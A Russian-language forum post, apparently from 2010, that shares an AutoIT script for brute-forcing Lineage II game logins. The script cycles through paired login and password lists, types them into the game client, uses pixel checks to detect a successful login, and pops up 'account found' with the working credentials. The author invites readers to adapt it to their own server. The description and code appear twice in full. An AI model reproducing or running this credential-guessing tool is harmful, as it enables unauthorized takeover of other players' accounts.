marmisha
05.06.2010, 10:12
В этой теме [Ссылки могут видеть только зарегистрированные и активированные пользователи] мне не получилось реализовать в жизнь то, что хотелось в действительности. Зная о том, что действительно нужные халявные программы и скрипты в природе встречаются очень редко, решил создать эту тему. Начал учить AutoIT недавно, но уже понял, на что спосбны правильно написанные скрипты:wow: Предлагаю в данной теме делится своими наработками, либо помогать и совершенствовать выложенные скрипты. Ну, начну:
Краткое описание скрипта:
скрипт позволяет входить в Lineage путем ввода в поля логина\пароля главного окна игры. При вводе второго логина, первый оставшийся логин стирается. Логин и пароль берутся из текстовых файлов login.txt и pass.txt соответственно, так что не забудте создать в папке со скриптом 2 файла login.txt и pass.txt. Внутри тектовых файлов логины\пароли должны быть написаны в виде "одна строка-один логин", "одна строка-один пароль". Перебор идет сверху вниз. Скрипт запускается при появлении главного окна Lineage. Если окно запущено, но не активно, скрипт делает его активным. Скрипт останавливается при нажатии на "Esc". При удачном подборе пароля выдается сообщение "НАЙДЕН АККАУНТ" с прописанным подобранным логином\паролем. Скрипт стоит на паузе до нажатия кнопки "ОК", после нажатия продолжает перебор с найденого акк и далее по списку. Скрипт распознает зависание окна "Пожалуйста подождите. Вы входите в игру" и через определенное время нажимает кнопку "отмена". Выкладываю исходник. Можете менять его под окна своего сервера. Распознавание по пикселям взято с окна "Грации Эпилог" сервера Shock-World.com. ПОВТОРЯЮ: основные настройки (MouseClick,Sleep и PixelSearch) меняйте под себя. Все сделал сам. Сам скрипт еще сыроват, так что строго не судите.
#include <File.au3>
#include <Array.au3>
HotKeySet("{ESC}", "Terminate")
Func Terminate()
Exit 0
EndFunc ;==>Terminate
Dim $aLogins, $aPasswords ;объявляем массивы
;читаем файл в массив
_FileReadToArray(' тут прописываем путь до файла\login.txt', $aLogins)
_FileReadToArray(' тут прописываем путь до файла\pass.txt', $aPasswords)
For $i = 1 To 125000 Step 1
WinWait("Lineage II", "")
If Not WinActive("Lineage II", "") Then WinActivate("Lineage II", "")
WinWaitActive("Lineage II", "")
Sleep(100)
MouseClick("left", 481, 319, 1, 50)
Sleep(100)
MouseClick("left", 481, 319, 2, 50)
MouseClick("left")
Sleep(100)
MouseClick("left")
Send("{BS 20}")
Sleep(200)
Send($aLogins[$i]);Пользователь 1
MouseClick("left", 475, 341, 2, 50)
Sleep(600)
Send($aPasswords[$i]);Пароль 1
Sleep(1000)
Send("{ENTER}")
Sleep(800)
;поиск желтого цвета строки выбора сервера
Sleep(1000)
PixelSearch( 0, 0, 500, 500, 0xB7A761, 0, 1)
If @error Then
Sleep(1000)
MouseClick("left", 403, 371, 1, 50)
EndIf
Sleep(1000)
MouseClick("left", 311, 89, 2, 50)
Sleep(400)
Send("{ENTER}{ENTER}")
Sleep(500)
$coord = PixelSearch(0, 0, 1000, 10000, 0x053986)
If Not @error Then
MsgBox(0, "НАЙДЕН АККАУНТ", $aLogins[$i] & "," & $aPasswords[$i])
EndIf
Next
Краткое описание скрипта:
скрипт позволяет входить в Lineage путем ввода в поля логина\пароля главного окна игры. При вводе второго логина, первый оставшийся логин стирается. Логин и пароль берутся из текстовых файлов login.txt и pass.txt соответственно, так что не забудте создать в папке со скриптом 2 файла login.txt и pass.txt. Внутри тектовых файлов логины\пароли должны быть написаны в виде "одна строка-один логин", "одна строка-один пароль". Перебор идет сверху вниз. Скрипт запускается при появлении главного окна Lineage. Если окно запущено, но не активно, скрипт делает его активным. Скрипт останавливается при нажатии на "Esc". При удачном подборе пароля выдается сообщение "НАЙДЕН АККАУНТ" с прописанным подобранным логином\паролем. Скрипт стоит на паузе до нажатия кнопки "ОК", после нажатия продолжает перебор с найденого акк и далее по списку. Скрипт распознает зависание окна "Пожалуйста подождите. Вы входите в игру" и через определенное время нажимает кнопку "отмена". Выкладываю исходник. Можете менять его под окна своего сервера. Распознавание по пикселям взято с окна "Грации Эпилог" сервера Shock-World.com. ПОВТОРЯЮ: основные настройки (MouseClick,Sleep и PixelSearch) меняйте под себя. Все сделал сам. Сам скрипт еще сыроват, так что строго не судите.
#include <File.au3>
#include <Array.au3>
HotKeySet("{ESC}", "Terminate")
Func Terminate()
Exit 0
EndFunc ;==>Terminate
Dim $aLogins, $aPasswords ;объявляем массивы
;читаем файл в массив
_FileReadToArray(' тут прописываем путь до файла\login.txt', $aLogins)
_FileReadToArray(' тут прописываем путь до файла\pass.txt', $aPasswords)
For $i = 1 To 125000 Step 1
WinWait("Lineage II", "")
If Not WinActive("Lineage II", "") Then WinActivate("Lineage II", "")
WinWaitActive("Lineage II", "")
Sleep(100)
MouseClick("left", 481, 319, 1, 50)
Sleep(100)
MouseClick("left", 481, 319, 2, 50)
MouseClick("left")
Sleep(100)
MouseClick("left")
Send("{BS 20}")
Sleep(200)
Send($aLogins[$i]);Пользователь 1
MouseClick("left", 475, 341, 2, 50)
Sleep(600)
Send($aPasswords[$i]);Пароль 1
Sleep(1000)
Send("{ENTER}")
Sleep(800)
;поиск желтого цвета строки выбора сервера
Sleep(1000)
PixelSearch( 0, 0, 500, 500, 0xB7A761, 0, 1)
If @error Then
Sleep(1000)
MouseClick("left", 403, 371, 1, 50)
EndIf
Sleep(1000)
MouseClick("left", 311, 89, 2, 50)
Sleep(400)
Send("{ENTER}{ENTER}")
Sleep(500)
$coord = PixelSearch(0, 0, 1000, 10000, 0x053986)
If Not @error Then
MsgBox(0, "НАЙДЕН АККАУНТ", $aLogins[$i] & "," & $aPasswords[$i])
EndIf
Next